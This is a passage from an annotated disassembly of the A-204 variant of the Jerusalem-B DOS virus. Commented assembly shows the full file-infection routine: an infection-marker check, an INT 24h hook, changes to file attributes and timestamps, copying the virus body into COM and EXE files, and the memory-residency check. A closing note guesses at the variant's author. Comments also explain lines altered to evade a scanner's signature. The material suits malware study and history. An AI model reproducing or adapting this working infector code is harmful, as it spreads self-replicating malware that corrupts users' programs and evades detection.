  631. 0515 CD 21                   INT 021        ;
  632.  
  633. 0517 8B FA                   MOV DI,DX        ; DI=DX=6Bh
  634. 0519 BE 05 00                MOV SI,5        ; SI=05h
  635. 051C F3 A6                   REPE CMPSB        ; Check first 5 bytes to see
  636.                         ; if a file already is
  637.                         ; infected
  638. 051E 75 07                   JNE 0527        ; If not: -> 0527h
  639. 0520 B4 3E                   MOV AH,03E        ; Close a file with
  640. 0522 CD 21                   INT 021        ; handle
  641.  
  642. 0524 E9 C0 01                JMP 06E7        ; Jump -> 06E7h
  643.  
  644. 0527 B8 24 35                MOV AX,03524    ; Get original int 24h
  645. 052A CD 21                   INT 021        ; vector. Stored in ES:BX
  646.  
  647. 052C 89 1E 1B 00             MOV W[01B],BX      ; Store BX of INT 24h vector
  648. 0530 8C 06 1D 00             MOV W[01D],ES    ; Store ES of INT 24h vector
  649. 0534 BA 1B 02                MOV DX,021B    ; Set new int 24h vector
  650. 0537 B8 24 25                MOV AX,02524    ; to DS:DX 
  651. 053A CD 21                   INT 021        ;
  652.  
  653. 053C C5 16 80 00             LDS DX,[080]    ; DS:DX=Filename
  654. 0540 33 C9                   XOR CX,CX        ; Get fileattributes
  655. 0542 B8 01 43                MOV AX,04301    ; Put File Attributes
  656. 0545 CD 21                   INT 021        ; (CHMOD)
  657.  
  658. 0547 72 3B                   JB 0584        ; If Error: -> 0584h
  659. 0549 2E 8B 1E 70 00          CS MOV BX,W[070]   ; Close a file with 
  660. 054E B4 3E                   MOV AH,03E        ; handle BX
  661. 0550 CD 21                   INT 021        ; 
  662.  
  663. 0552 2E C7 06 70 00 FF FF    CS MOV W[070],-1    ; File Handle=-1 ???
  664. 0559 B8 02 3D                MOV AX,03D02    ; Open File with 
  665. 055C CD 21                   INT 021        ; Handle in READ/WRITE mode
  666.  
  667. 055E 72 24                   JB 0584        ; If Error: -> 0584h
  668. 0560 2E A3 70 00             CS MOV W[070],AX    ; Store File Handle
  669. 0564 8C C8                   MOV AX,CS
  670. 0566 8E D8                   MOV DS,AX
  671. 0568 8E C0                   MOV ES,AX
  672.  
  673. 056A 8B 1E 70 00             MOV BX,W[070]    ; BX=File Handle
  674. 056E B8 00 57                MOV AX,05700    ; Get File' date/time-
  675. 0571 CD 21                   INT 021        ; stamp
  676.  
  677. 0573 89 16 74 00             MOV W[074],DX    ; Move File Read/Write Pointer
  678. 0577 89 0E 76 00             MOV W[076],CX    ; (LSEEK) with offset from 
  679. 057B B8 00 42                MOV AX,04200    ; beginning of file with 
  680. 057E 33 C9                   XOR CX,CX        ; CX:DX bytes
  681. 0580 8B D1                   MOV DX,CX        ; 
  682. 0582 CD 21                   INT 021        ; 
  683.  
  684. 0584 72 3D                   JB 05C3        ; If Error: -> 05C3h
  685. 0586 80 3E 4E 00 00          CMP B[04E],0    ; '0'?
  686. 058B 74 03                   JE 0590        ; Yes: -> 0590h
  687. 058D EB 57                   JMP 05E6        ; JUMP -> 05E6h
  688.  
  689. 058F 90                      NOP
  690.  
  691. 0590 BB 00 10                MOV BX,01000    ; Number of 16d-byte para-
  692.                         ; graphs BX=1000h For COM-
  693.                         ; files there are 1000h 16d
  694.                         ; bytes paragrahs available
  695. 0593 B4 48                   MOV AH,048        ; 
  696. 0595 CD 21                   INT 021        ; Allocate Memory
  697.  
  698. 0597 73 0B                   JAE 05A4        ; If enough memory available
  699.                         ; -> 05A4h
  700. 0599 B4 3E                   MOV AH,03E        ; Close a file with
  701. 059B 8B 1E 70 00             MOV BX,W[070]    ; handle BX
  702. 059F CD 21                   INT 021        ; 
  703.  
  704. 05A1 E9 43 01                JMP 06E7        ; JUMP -> 06E7h
  705.  
  706. 05A4 FF 06 8F 00             INC W[08F]        ; Set Memory-Available
  707.                         ; Variable (0001h)
  708. 05A8 8E C0                   MOV ES,AX        ;
  709. 05AA 33 F6                   XOR SI,SI        ; SI=0000h
  710. 05AC 8B FE                   MOV DI,SI        ; DI=0000h
  711. 05AE B9 10 07                MOV CX,0710    ; CX=0710h (1808d)
  712.                         ; length of virus
  713. 05B1 F3 A4                   REP MOVSB        ; Put virus code at begin-
  714.                         ; ning of buffer ES:DI
  715. 05B3 8B D7                   MOV DX,DI        ; DX=DI=0710h
  716. 05B5 8B 0E 11 00             MOV CX,W[011]    ; Restore Length of File 
  717. 05B9 8B 1E 70 00             MOV BX,W[070]    ; Restore File Handle
  718. 05BD 06                      PUSH ES        ; Read from a file with 
  719. 05BE 1F                      POP DS        ; handle CX (length
  720. 05BF B4 3F                   MOV AH,03F        ; of file) bytes in buffer
  721. 05C1 CD 21                   INT 021        ; DS:DX
  722.  
  723. 05C3 72 1C                   JB 05E1        ; If Error: -> 05E1h
  724. 05C5 03 F9                   ADD DI,CX        ; DI=Length of original
  725.                         ; file+0710h (length of
  726.                         ; viruscode)+05h
  727. 05C7 33 C9                   XOR CX,CX        ; CX=0000h
  728. 05C9 8B D1                   MOV DX,CX        ; Move file read/write
  729. 05CB B8 00 42                MOV AX,04200    ; pointer with offset from
  730. 05CE CD 21                   INT 021        ; beginning of file
  731.  
  732. 05D0 BE 05 00                MOV SI,5        ; 
  733. 05D3 B9 05 00                MOV CX,5        ;
  734. 05D6 F3 2E A4                REP CS MOVSB    ;
  735. 05D9 8B CF                   MOV CX,DI        ; CX=0715h(1813d)+length of
  736.                         ; original code
  737. 05DB 33 D2                   XOR DX,DX        ; DX=0000h
  738. 05DD B4 40                   MOV AH,040        ; Write to file with handle
  739. 05DF CD 21                   INT 021        ; CX bytes
  740.  
  741. 05E1 72 0D                   JB 05F0        ; If Error: -> 05F0h
  742. 05E3 E9 BC 00                JMP 06A2        ; JUMP -> 06A2h
  743.  
  744. 05E6 B9 1C 00                MOV CX,01C        ; Read CX (1Ch) bytes from
  745. 05E9 BA 4F 00                MOV DX,04F        ; file with handle
  746. 05EC B4 3F                   MOV AH,03F        ;
  747. 05EE CD 21                   INT 021        ;
  748.  
  749. 05F0 72 4A                   JB 063C        ; If Error: -> 063Ch
  750. 05F2 C7 06 61 00 84 19       MOV W[061],01984    ; Store 1984h=6532d
  751. 05F8 A1 5D 00                MOV AX,W[05D]    ; 
  752. 05FB A3 45 00                MOV W[045],AX    ; 
  753. 05FE A1 5F 00                MOV AX,W[05F]    ; 
  754. 0601 A3 43 00                MOV W[043],AX    ; 
  755. 0604 A1 63 00                MOV AX,W[063]    ;
  756. 0607 A3 47 00                MOV W[047],AX    ;
  757. 060A A1 65 00                MOV AX,W[065]    ;
  758. 060D A3 49 00                MOV W[049],AX    ;
  759. 0610 A1 53 00                MOV AX,W[053]    ;
  760. 0613 83 3E 51 00 00          CMP W[051],0    ; '0000'?
  761. 0618 74 01                   JE 061B        ; Yes: -> 061Bh
  762. 061A 48                      DEC AX        ; AX=AX-01h
  763. 061B F7 26 78 00             MUL W[078]        ;
  764. 061F 03 06 51 00             ADD AX,W[051]    ;
  765. 0623 83 D2 00                ADC DX,0        ;
  766. 0626 05 0F 00                ADD AX,0F        ;
  767. 0629 83 D2 00                ADC DX,0        ;
  768. 062C 25 F0 FF                AND AX,-010    ;
  769. 062F A3 7C 00                MOV W[07C],AX    ; Store AX
  770. 0632 89 16 7E 00             MOV W[07E],DX    ; Store DX
  771. 0636 05 10 07                ADD AX,0710    ; AX=AX+1808
  772. 0639 83 D2 00                ADC DX,0        ;
  773. 063C 72 3A                   JB 0678        ; If Error :-> 0678h
  774. 063E F7 36 78 00             DIV W[078]        ;
  775. 0642 0B D2                   OR DX,DX        ; 
  776. 0644 74 01                   JE 0647        ; 
  777. 0646 40                      INC AX        ; AX=AX+01h
  778. 0647 A3 53 00                MOV W[053],AX    ;
  779. 064A 89 16 51 00             MOV W[051],DX    ;
  780. 064E A1 7C 00                MOV AX,W[07C]    ; Restore AX
  781. 0651 8B 16 7E 00             MOV DX,W[07E]    ; Restore DX
  782. 0655 F7 36 7A 00             DIV W[07A]        ;
  783. 0659 2B 06 57 00             SUB AX,W[057]    ;
  784. 065D A3 65 00                MOV W[065],AX    ;
  785. 0660 C7 06 63 00 C5 00       MOV W[063],0C5    ;
  786. 0666 A3 5D 00                MOV W[05D],AX    ;
  787. 0669 C7 06 5F 00 10 07       MOV W[05F],0710    ;
  788. 066F 33 C9                   XOR CX,CX        ; CX=0000h
  789. 0671 8B D1                   MOV DX,CX        ; DX=0000h
  790. 0673 B8 00 42                MOV AX,04200    ; Move File Read/Write
  791. 0676 CD 21                   INT 021        ; pointer to beginning of
  792.                         ; file
  793.  
  794. 0678 72 0A                   JB 0684        ; If Error: -> 0684h
  795. 067A B9 1C 00                MOV CX,01C        ; CX=1Ch
  796. 067D BA 4F 00                MOV DX,04F        ; DX=4Fh
  797. 0680 B4 40                   MOV AH,040        ; Write to file with
  798. 0682 CD 21                   INT 021        ; handle
  799.  
  800. 0684 72 11                   JB 0697        ; If Error: -> 0697h
  801. 0686 3B C1                   CMP AX,CX        ; Are all bytes written?
  802. 0688 75 18                   JNE 06A2        ; No: -> 06A2h
  803. 068A 8B 16 7C 00             MOV DX,W[07C]    ; Restore AX into DX
  804. 068E 8B 0E 7E 00             MOV CX,W[07E]    ; Restore DX into CX
  805. 0692 B8 00 42                MOV AX,04200
  806. 0695 CD 21                   INT 021
  807.  
  808. 0697 72 09                   JB 06A2        ; If Error: -> 06A2h
  809. 0699 33 D2                   XOR DX,DX        ; DX=0000h
  810. 069B B9 10 07                MOV CX,0710    ; CX=0710h
  811. 069E B4 40                   MOV AH,040
  812. 06A0 CD 21                   INT 021
  813.  
  814. 06A2 2E 83 3E 8F 00 00       CS CMP W[08F],0    ; Not Enough Memory?
  815. 06A8 74 04                   JE 06AE        ; Yes: -> 06AEh
  816. 06AA B4 49                   MOV AH,049        ; Free memory
  817. 06AC CD 21                   INT 021        ;
  818.  
  819. 06AE 2E 83 3E 70 00 FF       CS CMP W[070],-1
  820. 06B4 74 31                   JE 06E7
  821. 06B6 2E 8B 1E 70 00          CS MOV BX,W[070]    ; Restore File Handle
  822. 06BB 2E 8B 16 74 00          CS MOV DX,W[074]    ; Restore File Date
  823. 06C0 2E 8B 0E 76 00          CS MOV CX,W[076]    ; Restore File Time
  824. 06C5 B8 01 57                MOV AX,05701    ; Set File's Date/Time
  825. 06C8 CD 21                   INT 021        ; stamp
  826.  
  827. 06CA B4 3E                   MOV AH,03E        ; Close a file with
  828. 06CC CD 21                   INT 021        ; handle
  829.  
  830. 06CE 2E C5 16 80 00          CS LDS DX,[080]    ; Get place (DS:DX) of
  831.                         ; filename
  832. 06D3 2E 8B 0E 72 00          CS MOV CX,W[072]    ; Restore File Attributes
  833. 06D8 B8 01 43                MOV AX,04301    ; Put File Attributes
  834. 06DB CD 21                   INT 021        ;
  835.  
  836. 06DD 2E C5 16 1B 00          CS LDS DX,[01B]    ; Restore original vector
  837. 06E2 B8 24 25                MOV AX,02524    ; of interrupt 24h
  838. 06E5 CD 21                   INT 021        ;
  839.  
  840. 06E7 07                      POP ES        ; Restore Registers
  841. 06E8 1F                      POP DS
  842. 06E9 5F                      POP DI
  843. 06EA 5E                      POP SI
  844. 06EB 5A                      POP DX
  845. 06EC 59                      POP CX
  846. 06ED 5B                      POP BX
  847. 06EE 58                      POP AX
  848. 06EF 9D                      POPF        ; Restore Flags
  849. 06F0 2E FF 2E 17 00          CS JMP D[017]    ; Call original INT 21h
  850.                         ; address which was intercep-
  851.                         ; ted with the LOAD & EXEC.
  852.                         ; statement. Which means it 
  853.                         ; will load and execute the
  854.                         ; selected file
  855.  
  856. 06F5 00 00 00 00 00 00 00 00 00 00 00
  857.  
  858. 0700 4D DE 0C 00 10 00 00 00 00 00 00 00 00 00 00 00
  859.  
  860. 0710 E9 92 00                JMP 07A5        ; JUMP -> 07A5h
  861.  
  862. 0711h til 07A4h are the same definition words/bytes as at 0103h til 0194h
  863.  
  864. 07A5 FC                      CLD
  865. 07A6 B4 E0                   MOV AH,0E0
  866. 07A8 CD 21                   INT 021
  867.  
  868. 07AA 80 FC E0                CMP AH,0E0        ; AH>=E0h?
  869. 07AD 73 16                   JAE 07C5        ; Yes: -> 07C5h
  870. 07AF 80 FC 03                CMP AH,3        ; AH<03h
  871. 07B2 72 11                   JB 07C5        ; Yes: -> 07C5h
  872.                         ; The only way that the
  873.                         ; code get passed here if
  874.                         ; the virus is active in
  875.                         ; memory. It will return
  876.                         ; AX=0300h then.
  877. 07B4 B4 DD                   MOV AH,0DD
  878. 07B6 BF 00 01                MOV DI,0100    ; DI=0100h
  879. 07B9 BE 10 07                MOV SI,0710    ; SI=0710h
  880. 07BC 03 F7                   ADD SI,DI        ; SI=0810h
  881. 07BE 2E 8B 8D 11 00          CS MOV CX,W[DI+011]; CX=Length of file
  882. 07C3 CD 21                   INT 021
  883.  
  884. 07C5 8C C8                   MOV AX,CS        ; AX=CS
  885. 07C7 05 10 00                ADD AX,010        ; AX=AX+10h
  886. 07CA 8E D0                   MOV SS,AX        ; SS=CS+10h
  887. 07CC BC 00 07                MOV SP,0700    ; SP=0700h
  888. 07CF 50                      PUSH AX        ; Store AX
  889. 07D0 B8 C5 00                MOV AX,0C5        ; AX=00C5h
  890. 07D3 50                      PUSH AX        ; Store AX
  891. 07D4 CB                      RETF        ; RETURN from FAR
  892.  
  893. 07D5 FC                      CLD        ; Clear Direct
  894.  
  895.                         ; Here the A-204 variant
  896.                         ; differs from the original
  897.                         ; Jerusalem Version B virus
  898.                         ; for the second time.
  899. 07D6 2E 8C 06 31 00          CS MOV W[031],ES    ; These two lines have
  900. 07DB 06                      PUSH ES        ; been changed in order
  901.                         ; trying to avoid being
  902.                         ; detected by the finger-
  903.                         ; print in the VirScan.Dat
  904.                         ; file. It has not succeeded
  905.                         ; because the strain VirScan
  906.                         ; searches for appears two
  907.                         ; times in the viruscode
  908.  
  909. 07DC 2E 8C 06 39 00          CS MOV W[039],ES    ; Store ES
  910. 07E1 2E 8C 06 3D 00          CS MOV W[03D],ES    ; Store ES
  911. 07E6 2E 8C 06 41 00          CS MOV W[041],ES    ; Store ES
  912.  
  913. 07EB 8C C0                   MOV AX,ES        ; AX=ES
  914. 07ED 05 10 00                ADD AX,010        ; AX=AX+10h
  915. 07F0 2E 01 06 49 00          CS ADD W[049],AX    ; Store ES+10h
  916. 07F5 2E 01 06 45 00          CS ADD W[045],AX    ; Store ES+10h
  917.  
  918. 07FA B4 E0                   MOV AH,0E0        ; AH=E0h
  919. 07FC CD 21                   INT 021        ;
  920.  
  921. 07FE 80 FC E0                CMP AH,0E0        ; AH>=E0?
  922. 0801 73 13                   JAE 0816        ; Yes: -> 0816h
  923.                         ; This will never happen.
  924.                         ; First of all it would be
  925.                         ; a short jump into the
  926.                         ; original program. Secondly
  927.                         ; is the virus already active
  928.                         ; in memory and will return
  929.                         ; AX=0300h at the INT 21h call
  930.                         ; with AH=E0h
  931. 0803 80 FC 03                CMP AH,3        ; AH=03h
  932. 0806 07                      POP ES        ; Restore ES
  933. 0807 2E 8E 16 45 00          CS MOV SS,W[045]    ; Restore ES+10 into SS
  934. 080C 2E 8B 26 43 90          CS MOV SP,W[09043]    ;
  935.  
  936. 0810 90              NOP        ; Start ofOriginal Program
  937. 0811 90                      NOP         
  938. 0812 90                      NOP
  939. 0813 90                      NOP
  940. 0814 90                      NOP
  941. 0815 90                      NOP
  942. 0816 90                      NOP
  943. 0817 90                      NOP
  944. 0818 90                      NOP
  945. 0819 90                      NOP
  946. 081A 90                      NOP
  947. 081B 90                      NOP
  948. 081C 90                      NOP
  949. 081D 90                      NOP
  950. 081E 90                      NOP
  951. 081F 90                      NOP
  952. 0820 90                      NOP
  953. 0821 90                      NOP
  954. 0822 90                      NOP
  955. 0823 90                      NOP
  956. 0824 90                      NOP
  957. 0825 90                      NOP
  958. 0826 90                      NOP
  959. 0827 90                      NOP
  960. 0828 90                      NOP
  961. 0829 90                      NOP
  962. 082A 90                      NOP
  963. 082B 90                      NOP
  964. 082C 90                      NOP
  965. 082D 90                      NOP
  966. 082E 90                      NOP
  967. 082F C3                      RET        ; End of Original Program
  968.  
  969. 0830 2D 32 30 34 2A                           ; -204*
  970.  
  971. NOTE: A-204 is a course-code for IAP (Inleiding Apparatuur en Programmatuur,
  972. in English a Prologue in Hardware and Software) at my university. In this
  973. course the PDP-11 Language is being teached. It's my opion, and my opion only,
  974. that this change has been made by a first year student. The IAP-course is
  975. a course for first years students. Only some lines were changed in order to
  976. avoid detection. If the 'author' did know more about the 8086, (s?)he could
  977. have optimized the code. Some pieces can be done much more elegant.